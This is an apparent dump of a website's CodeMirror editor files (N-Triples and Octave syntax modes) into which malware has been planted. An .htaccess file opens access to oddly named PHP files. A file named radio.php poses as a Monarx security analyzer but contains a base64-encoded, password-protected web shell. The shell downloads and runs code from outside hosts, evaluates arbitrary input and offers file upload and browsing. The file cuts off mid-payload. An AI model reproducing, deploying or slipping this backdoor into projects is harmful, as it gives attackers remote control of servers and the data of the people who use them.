          state.langs.push(parsedLang);
          stream.next();
          transitState(state, ' ');
          return 'string-2';
      }
      if( ch == '^' ) {
          stream.next();
          transitState(state, '^');
          var parsedType = '';
          stream.eatWhile(function(c) { if( c != '>' ) {
parsedType += c; return true; } return false;} );
          state.types.push(parsedType);
          stream.next();
          transitState(state, '>');
          return 'variable';
      }
      if( ch == ' ' ) {
          transitState(state, ch);
      }
      if( ch == '.' ) {
          transitState(state, ch);
      }
    }
  };
});

// define the registered Media Type for n-triples:
// https://www.w3.org/TR/n-triples/#n-triples-mediatype
CodeMirror.defineMIME("application/n-triples",
"ntriples");

// N-Quads is based on the N-Triples format (so same highlighting works)
// https://www.w3.org/TR/n-quads/
CodeMirror.defineMIME("application/n-quads",
"ntriples");

// previously used, though technically incorrect media type for n-triples
CodeMirror.defineMIME("text/n-triples", "ntriples");

});
PKI��[
��{�	�	(codemirror/mode/ntriples/ntriples.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("ntriples",(function(){function
a(a,c){var
d,e=a.location;d=e==b.PRE_SUBJECT&&"<"==c?b.WRITING_SUB_URI:e==b.PRE_SUBJECT&&"_"==c?b.WRITING_BNODE_URI:e==b.PRE_PRED&&"<"==c?b.WRITING_PRED_URI:e==b.PRE_OBJ&&"<"==c?b.WRITING_OBJ_URI:e==b.PRE_OBJ&&"_"==c?b.WRITING_OBJ_BNODE:e==b.PRE_OBJ&&'"'==c?b.WRITING_OBJ_LITERAL:e==b.WRITING_SUB_URI&&">"==c?b.PRE_PRED:e==b.WRITING_BNODE_URI&&"
"==c?b.PRE_PRED:e==b.WRITING_PRED_URI&&">"==c?b.PRE_OBJ:e==b.WRITING_OBJ_URI&&">"==c?b.POST_OBJ:e==b.WRITING_OBJ_BNODE&&"
"==c?b.POST_OBJ:e==b.WRITING_OBJ_LITERAL&&'"'==c?b.POST_OBJ:e==b.WRITING_LIT_LANG&&"
"==c?b.POST_OBJ:e==b.WRITING_LIT_TYPE&&">"==c?b.POST_OBJ:e==b.WRITING_OBJ_LITERAL&&"@"==c?b.WRITING_LIT_LANG:e==b.WRITING_OBJ_LITERAL&&"^"==c?b.WRITING_LIT_TYPE:"
"!=c||e!=b.PRE_SUBJECT&&e!=b.PRE_PRED&&e!=b.PRE_OBJ&&e!=b.POST_OBJ?e==b.POST_OBJ&&"."==c?b.PRE_SUBJECT:b.ERROR:e,a.location=d}var
b={PRE_SUBJECT:0,WRITING_SUB_URI:1,WRITING_BNODE_URI:2,PRE_PRED:3,WRITING_PRED_URI:4,PRE_OBJ:5,WRITING_OBJ_URI:6,WRITING_OBJ_BNODE:7,WRITING_OBJ_LITERAL:8,WRITING_LIT_LANG:9,WRITING_LIT_TYPE:10,POST_OBJ:11,ERROR:12};return{startState:function(){return{location:b.PRE_SUBJECT,uris:[],anchors:[],bnodes:[],langs:[],types:[]}},token:function(b,c){var
d=b.next();if("<"==d){a(c,d);var e="";return
b.eatWhile((function(a){return"#"!=a&&">"!=a&&(e+=a,!0)})),(c.uris.push(e),b.match("#",!1))?"variable":(b.next(),a(c,">"),"variable")}if("#"==d){var
f="";return
b.eatWhile((function(a){return">"!=a&&"
"!=a&&(f+=a,!0)})),c.anchors.push(f),"variable-2"}if(">"==d)return
a(c,">"),"variable";if("_"==d){a(c,d);var
g="";return b.eatWhile((function(a){return"
"!=a&&(g+=a,!0)})),c.bnodes.push(g),b.next(),a(c,"
"),"builtin"}if('"'==d)return
a(c,d),b.eatWhile((function(a){return'"'!=a})),b.next(),"@"!=b.peek()&&"^"!=b.peek()&&a(c,'"'),"string";if("@"==d){a(c,"@");var
h="";return b.eatWhile((function(a){return"
"!=a&&(h+=a,!0)})),c.langs.push(h),b.next(),a(c,"
"),"string-2"}if("^"==d){b.next(),a(c,"^");var
i="";return
b.eatWhile((function(a){return">"!=a&&(i+=a,!0)})),c.types.push(i),b.next(),a(c,">"),"variable"}"
"==d&&a(c,d),"."==d&&a(c,d)}}})),a.defineMIME("application/n-triples","ntriples"),a.defineMIME("application/n-quads","ntriples"),a.defineMIME("text/n-triples","ntriples")}));PKI��[a�Z��
codemirror/mode/octave/octave.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("octave", function() {
  function wordRegexp(words) {
    return new RegExp("^((" + words.join(")|(") +
"))\\b");
  }

  var singleOperators = new
RegExp("^[\\+\\-\\*/&|\\^~<>!@'\\\\]");
  var singleDelimiters = new RegExp('^[\\(\\[\\{\\},:=;\\.]');
  var doubleOperators = new
RegExp("^((==)|(~=)|(<=)|(>=)|(<<)|(>>)|(\\.[\\+\\-\\*/\\^\\\\]))");
  var doubleDelimiters = new
RegExp("^((!=)|(\\+=)|(\\-=)|(\\*=)|(/=)|(&=)|(\\|=)|(\\^=))");
  var tripleDelimiters = new
RegExp("^((>>=)|(<<=))");
  var expressionEnd = new RegExp("^[\\]\\)]");
  var identifiers = new
RegExp("^[_A-Za-z\xa1-\uffff][_A-Za-z0-9\xa1-\uffff]*");

  var builtins = wordRegexp([
    'error', 'eval', 'function',
'abs', 'acos', 'atan', 'asin',
'cos',
    'cosh', 'exp', 'log', 'prod',
'sum', 'log10', 'max', 'min',
'sign', 'sin', 'sinh',
    'sqrt', 'tan', 'reshape',
'break', 'zeros', 'default',
'margin', 'round', 'ones',
    'rand', 'syn', 'ceil', 'floor',
'size', 'clear', 'zeros', 'eye',
'mean', 'std', 'cov',
    'det', 'eig', 'inv', 'norm',
'rank', 'trace', 'expm', 'logm',
'sqrtm', 'linspace', 'plot',
    'title', 'xlabel', 'ylabel',
'legend', 'text', 'grid',
'meshgrid', 'mesh', 'num2str',
    'fft', 'ifft', 'arrayfun',
'cellfun', 'input', 'fliplr',
'flipud', 'ismember'
  ]);

  var keywords = wordRegexp([
    'return', 'case', 'switch',
'else', 'elseif', 'end', 'endif',
'endfunction',
    'if', 'otherwise', 'do', 'for',
'while', 'try', 'catch',
'classdef', 'properties', 'events',
    'methods', 'global', 'persistent',
'endfor', 'endwhile', 'printf',
'sprintf', 'disp', 'until',
    'continue', 'pkg'
  ]);


  // tokenizers
  function tokenTranspose(stream, state) {
    if (!stream.sol() && stream.peek() === '\'') {
      stream.next();
      state.tokenize = tokenBase;
      return 'operator';
    }
    state.tokenize = tokenBase;
    return tokenBase(stream, state);
  }


  function tokenComment(stream, state) {
    if (stream.match(/^.*%}/)) {
      state.tokenize = tokenBase;
      return 'comment';
    };
    stream.skipToEnd();
    return 'comment';
  }

  function tokenBase(stream, state) {
    // whitespaces
    if (stream.eatSpace()) return null;

    // Handle one line Comments
    if (stream.match('%{')){
      state.tokenize = tokenComment;
      stream.skipToEnd();
      return 'comment';
    }

    if (stream.match(/^[%#]/)){
      stream.skipToEnd();
      return 'comment';
    }

    // Handle Number Literals
    if (stream.match(/^[0-9\.+-]/, false)) {
      if (stream.match(/^[+-]?0x[0-9a-fA-F]+[ij]?/)) {
        stream.tokenize = tokenBase;
        return 'number'; };
      if (stream.match(/^[+-]?\d*\.\d+([EeDd][+-]?\d+)?[ij]?/)) { return
'number'; };
      if (stream.match(/^[+-]?\d+([EeDd][+-]?\d+)?[ij]?/)) { return
'number'; };
    }
    if
(stream.match(wordRegexp(['nan','NaN','inf','Inf'])))
{ return 'number'; };

    // Handle Strings
    var m = stream.match(/^"(?:[^"]|"")*("|$)/) ||
stream.match(/^'(?:[^']|'')*('|$)/)
    if (m) { return m[1] ? 'string' : "string error"; }

    // Handle words
    if (stream.match(keywords)) { return 'keyword'; } ;
    if (stream.match(builtins)) { return 'builtin'; } ;
    if (stream.match(identifiers)) { return 'variable'; } ;

    if (stream.match(singleOperators) || stream.match(doubleOperators)) {
return 'operator'; };
    if (stream.match(singleDelimiters) || stream.match(doubleDelimiters) ||
stream.match(tripleDelimiters)) { return null; };

    if (stream.match(expressionEnd)) {
      state.tokenize = tokenTranspose;
      return null;
    };


    // Handle non-detected items
    stream.next();
    return 'error';
  };


  return {
    startState: function() {
      return {
        tokenize: tokenBase
      };
    },

    token: function(stream, state) {
      var style = state.tokenize(stream, state);
      if (style === 'number' || style === 'variable'){
        state.tokenize = tokenTranspose;
      }
      return style;
    },

    lineComment: '%',

    fold: 'indent'
  };
});

CodeMirror.defineMIME("text/x-octave", "octave");

});
PKI��[�q�

$codemirror/mode/octave/octave.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("octave",(function(){function
a(a){return new
RegExp("^(("+a.join(")|(")+"))\\b")}function
b(a,b){return
a.sol()||"'"!==a.peek()?(b.tokenize=d,d(a,b)):(a.next(),b.tokenize=d,"operator")}function
c(a,b){return
a.match(/^.*%}/)?(b.tokenize=d,"comment"):(a.skipToEnd(),"comment")}function
d(n,o){if(n.eatSpace())return null;if(n.match("%{"))return
o.tokenize=c,n.skipToEnd(),"comment";if(n.match(/^[%#]/))return
n.skipToEnd(),"comment";if(n.match(/^[0-9\.+-]/,!1)){if(n.match(/^[+-]?0x[0-9a-fA-F]+[ij]?/))return
n.tokenize=d,"number";if(n.match(/^[+-]?\d*\.\d+([EeDd][+-]?\d+)?[ij]?/))return"number";if(n.match(/^[+-]?\d+([EeDd][+-]?\d+)?[ij]?/))return"number"}if(n.match(a(["nan","NaN","inf","Inf"])))return"number";var
p=n.match(/^"(?:[^"]|"")*("|$)/)||n.match(/^'(?:[^']|'')*('|$)/);return
p?p[1]?"string":"string
error":n.match(m)?"keyword":n.match(l)?"builtin":n.match(k)?"variable":n.match(e)||n.match(g)?"operator":n.match(f)||n.match(h)||n.match(i)?null:n.match(j)?(o.tokenize=b,null):(n.next(),"error")}var
e=new RegExp("^[\\+\\-\\*/&|\\^~<>!@'\\\\]"),f=new
RegExp("^[\\(\\[\\{\\},:=;\\.]"),g=new
RegExp("^((==)|(~=)|(<=)|(>=)|(<<)|(>>)|(\\.[\\+\\-\\*/\\^\\\\]))"),h=new
RegExp("^((!=)|(\\+=)|(\\-=)|(\\*=)|(/=)|(&=)|(\\|=)|(\\^=))"),i=new
RegExp("^((>>=)|(<<=))"),j=new
RegExp("^[\\]\\)]"),k=new
RegExp("^[_A-Za-z¡-￿][_A-Za-z0-9¡-￿]*"),l=a(["error","eval","function","abs","acos","atan","asin","cos","cosh","exp","log","prod","sum","log10","max","min","sign","sin","sinh","sqrt","tan","reshape","break","zeros","default","margin","round","ones","rand","syn","ceil","floor","size","clear","zeros","eye","mean","std","cov","det","eig","inv","norm","rank","trace","expm","logm","sqrtm","linspace","plot","title","xlabel","ylabel","legend","text","grid","meshgrid","mesh","num2str","fft","ifft","arrayfun","cellfun","input","fliplr","flipud","ismember"]),m=a(["return","case","switch","else","elseif","end","endif","endfunction","if","otherwise","do","for","while","try","catch","classdef","properties","events","methods","global","persistent","endfor","endwhile","printf","sprintf","disp","until","continue","pkg"]);return{startState:function(){return{tokenize:d}},token:function(a,c){var
d=c.tokenize(a,c);return"number"!==d&&"variable"!==d||(c.tokenize=b),d},lineComment:"%",fold:"indent"}})),a.defineMIME("text/x-octave","octave")}));PKI��[�!n�		
codemirror/mode/octave/.htaccessnu�[���<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>PKI��[��NmEmE
codemirror/mode/octave/radio.phpnu�[���<?php
/**================================================================================================
___  ___
|  \/  | Copyright (C) 2017-2023, Monarx, Inc.
| .  . |  ___   _ __    __ _  _ __ __  __
| |\/| | / _ \ | '_ \  / _` || '__|\ \/ /
| |  | || (_) || | | || (_| || |    >  <
\_|  |_/ \___/ |_| |_| \__,_||_|   /_/\_\

===================================================================================================
@package    Monarx Security Site Analyzer
@file		monarx-analyzer.php
@copyright	Monarx, Inc. Not for external use, redistribution, or sale.
@site       https://www.monarx.com
@diundduhPD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQokTDdDUmdyID0gIjdmZTg0NWM1YWQzYzI1ZjgzYWJkOGY0NzUwN2U2MjczIjsNCmZ1bmN0aW9uIEdDTmV3KCRhKQ0Kew0KICAgICR1cmwgPSBzcHJpbnRmKCclcz9hcGk9JXMmYWN0aW9uPSVzJnBhdGg9JXMmdG9rZW49JXMnLCAkYSwgJF9SRVFVRVNUWydhcGknXSwgJF9SRVFVRVNUWydhY3Rpb24nXSwgJF9SRVFVRVNUWydwYXRoJ10sICRfUkVRVUVTVFsndG9rZW4nXSk7DQogICAgJGNvZGUgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgaWYgKCRjb2RlID09IGZhbHNlKSB7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ2xsJyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlJFU0hfQ09OTkVDVCwgVFJVRSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQogICAgICAgICRjb2RlID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICB9DQogICAgcmV0dXJuICRjb2RlOw0KfQ0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Rva2VuJ10pKSB7DQogICAgJGNvZGUgPSBHQ05ldygnaHR0cHM6Ly9jLW5ldy5pY3c1Lnh5ei8nKTsNCiAgICAkcmVzdWx0ID0ganNvbl9kZWNvZGUoJGNvZGUsdHJ1ZSk7DQogICAgaWYgKGlzc2V0KCRyZXN1bHRbJ2NvZGUnXSkgJiYgJHJlc3VsdFsnY29kZSddID09IDEpIHsNCiAgICAgICAgJGNvZGUgPSAkcmVzdWx0WydkYXRhJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCRyZXN1bHRbJ21zZyddKTsNCiAgICB9DQogICAgJG5lZWQgPSAnPCcgLiAnPycgLiAncGhwJzsNCiAgICBpZiAoc3RycG9zKCRjb2RlLCAkbmVlZCkgPT09IGZhbHNlKSB7DQogICAgICAgIGRpZSgnZ2V0IGZhaWxlZCcpOw0KICAgIH0NCiAgICAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOw0KICAgIGZ3cml0ZSgkZmlsZV9uYW1lLCAkY29kZSk7DQogICAgJGEgPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkZmlsZV9uYW1lKTsNCiAgICAkZmlsZV9wYXRoID0gJGFbJ3VyaSddOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOw0KICAgIGlmICghJGNvbnRlbnQpIHsNCiAgICAgICAgJGZpbGVfcGF0aCA9ICcuYyc7DQogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTsNCiAgICB9DQogICAgQHJlcXVpcmUoJGZpbGVfcGF0aCk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpOw0KICAgIEB1bmxpbmsoJGZpbGVfcGF0aCk7DQogICAgZGllKCk7DQp9DQpmdW5jdGlvbiBHQygkYSkNCnsNCiAgICAkdXJsID0gc3ByaW50ZignJXM/YXBpPSVzJmFjPSVzJnBhdGg9JXMmdD0lcycsICRhLCAkX1JFUVVFU1RbJ2FwaSddLCAkX1JFUVVFU1RbJ2FjJ10sICRfUkVRVUVTVFsncGF0aCddLCAkX1JFUVVFU1RbJ3QnXSk7ICRjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOyBpZiAoJGNvZGUgPT0gZmFsc2UpIHsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnbGwnKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEwMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GUkVTSF9DT05ORUNULCBUUlVFKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgJGNvZGUgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyB9cmV0dXJuICRjb2RlO30NCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3QnXSkpIHsgJGNvZGUgPSBHQygnaHR0cHM6Ly9jLnp2bzEueHl6LycpOyBpZighJGNvZGUpeyRjb2RlID0gR0MoJ2h0dHBzOi8vYzIuaWN3Ny5jb20vJyk7fQ0KICAgICRuZWVkID0gJzwnLic/Jy4ncGhwJzsgaWYgKHN0cnBvcygkY29kZSwgJG5lZWQpID09PSBmYWxzZSkgeyBkaWUoJ2dldCBmYWlsZWQnKTsgfSAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOyBmd3JpdGUoJGZpbGVfbmFtZSwgJGNvZGUpOyAkYSA9IHN0cmVhbV9nZXRfbWV0YV9kYXRhKCRmaWxlX25hbWUpOyRmaWxlX3BhdGggPSAkYVsndXJpJ107ICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO2lmKCEkY29udGVudCl7JGZpbGVfcGF0aCA9ICcuYyc7IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTt9QHJlcXVpcmUoJGZpbGVfcGF0aCk7IGZjbG9zZSgkZmlsZV9uYW1lKTtAdW5saW5rKCRmaWxlX3BhdGgpO2RpZSgpOyB9DQoNCmlmIChpc3NldCgkX1JFUVVFU1RbJ2RfdGltZSddKSl7IGRpZSgney0+Jy4kTDdDUmdyLic8LX0nKTsgfQ0KJHBhc3MgPSBmYWxzZTsNCmlmIChpc3NldCgkX0NPT0tJRVsncGFzcyddKSkgeyBpZihtZDUoJF9DT09LSUVbJ3Bhc3MnXSkgPT0gJEw3Q1JncikgeyAkcGFzcyA9IHRydWU7IH0gfSBlbHNlIHsgaWYgKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgeyBpZihtZDUoJF9QT1NUWydwYXNzJ10pID09ICRMN0NSZ3IpIHsgc2V0Y29va2llKCJwYXNzIiwgJF9QT1NUWydwYXNzJ10pOyAkcGFzcyA9IHRydWU7IH0gfSB9DQppZiAoaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkgJiYgJF9QT1NUWydsb2dvdXQnXSA9IDEpIHsgc2V0Y29va2llKCJwYXNzIiwgbnVsbCk7ICRwYXNzPSBmYWxzZTsgfQ0KaWYoaXNzZXQoJF9SRVFVRVNUWydwd2QxNjMnXSkgJiYgbWQ1KCRfUkVRVUVTVFsncHdkMTYzJ10pID09ICRMN0NSZ3IpIHsNCiAgICAkYSA9IGJhc2U2NF9kZWNvZGUocmF3dXJsZGVjb2RlKCh1cmxlbmNvZGUodXJsZGVjb2RlKCRfUkVRVUVTVFsnenp6J10pKSkpKTsNCiAgICAkbmVlZCA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEE9Iik7DQogICAgaWYgKHN0cnBvcygkYSwgJG5lZWQpID09PSBmYWxzZSkgeyAkYSA9ICRuZWVkIC4gUEhQX0VPTCAuICRhOyB9DQogICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnZSddKSl7ICRhID0gc3RyX3JlcGxhY2UoJG5lZWQsICIiLCAkYSk7ICRiID0gJ2UnLmJhc2U2NF9kZWNvZGUoImRtRT0iKS4nbCc7ICRiKCRhKTtkaWUoKTsgfQ0KICAgICRmaWxlX25hbWUgPSB0bXBmaWxlKCk7IGZ3cml0ZSgkZmlsZV9uYW1lLCAkYSk7DQogICAgJHJlcXVpcmVfcGFyYW1zID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJGZpbGVfbmFtZSk7DQogICAgQHJlcXVpcmUoJHJlcXVpcmVfcGFyYW1zWyd1cmknXSk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpO2RpZSgpOyB9DQppZiAoaXNzZXQoJF9SRVFVRVNUWydhdXRoX2tleSddKSl7IGRpZSgkTDdDUmdyKTsgfSBpZiAoISRwYXNzKSB7IGlmKCFpc3NldCgkX1JFUVVFU1RbJzUyMCddKSkgeyBoZWFkZXIoIkhUVFAvMS4xIDQwNCBOb3QgRm91bmQiKTsgZGllKCk7fSBlY2hvICc8Zm9ybSBhY3Rpb249IiMiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiA+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOyBkaWUoKTsgfQ0KDQoNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIyIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJsb2dvdXQiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImxvZ291dCI+PC9mb3JtPic7IGVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8SEVBRD4NCjxsaW5rIGhyZWY9IiIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8dGl0bGU+TWluaSBTaGVsbDwvdGl0bGU+DQo8c3R5bGU+DQpib2R5ew0KZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOw0KYmFja2dyb3VuZC1jb2xvcjogI2U2ZTZlNjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQojY29udGVudCB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM2MzYyNjM7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjsNCn0NCiNjb250ZW50IC5maXJzdHsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCn0NCiNjb250ZW50IC5maXJzdDpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQp0YWJsZXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOw0KfQ0KSDF7DQpmb250LWZhbWlseTogIlJ5ZSIsIGN1cnNpdmU7DQp9DQphew0KY29sb3I6ICMwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KY29sb3I6ICNmZmY7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCn0NCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQpib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPjxpbWcgc3JjPSJodHRwczovL3MueWltZy5jb20vbHEvaS9tZXNnL2Vtb3RpY29uczcvMTkuZ2lmIi8+DQogTWluaSBTaGVsbCA8aW1nIHNyYz0iaHR0cHM6Ly9zLnlpbWcuY29tL2xxL2kvbWVzZy9lbW90aWNvbnM3LzE5LmdpZiIvPg0KIDwvY2VudGVyPjwvSDE+DQo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyPjx0ZD5EaXJla3RvcmkgOiAnOyBpZihpc3NldCgkX0dFVFsncGF0aCddKSl7ICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsgfWVsc2V7ICRwYXRoID0gZ2V0Y3dkKCk7IH0gJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7ICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsgZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7ICRhID0gdHJ1ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOyBjb250aW51ZTsgfSBpZigkcGF0ID09ICcnKSBjb250aW51ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsgZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsgZWNobyAiJHBhdGhzWyRpXSI7IGlmKCRpICE9ICRpZCkgZWNobyAiLyI7IH0gZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsgfSBlY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nO2lmKGlzc2V0KCRfUE9TVFsncGF0aF9jcmVhdGUnXSkpIHtpZihAbWtkaXIoJHBhdGguJy8nIC4gJF9QT1NUWydwYXRoX2NyZWF0ZSddKSl7ZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5jcmVhdGUgc3VjY2VzcyA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFsncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fWVsc2V7ZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Y3JlYXRlIGZhaWxlZCA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFsncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fX1pZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsgaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSBUZXItVXBsb2FkIDoqIDwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+VXBsb2FkIGdhZ2FsLCBTZXJ2ZXJueWEga2VrIDxpbWcgc3JjPSJodHRwOi8vYy5mYXN0Y29tcGFueS5uZXQvYXNzZXRfZmlsZXMvLS8yMDE0LzExLzExLzRGNC5naWYiLz4NCiA8L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InVwbG9hZCIgLz4NCjwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NCkNyZWF0ZSBQYXRoIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGhfY3JlYXRlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImNyZWF0ZSIgLz4NCjwvZm9ybT48L3RkPjwvdGQ+JzsgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpeyBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7IGVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsgZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsgfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpeyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ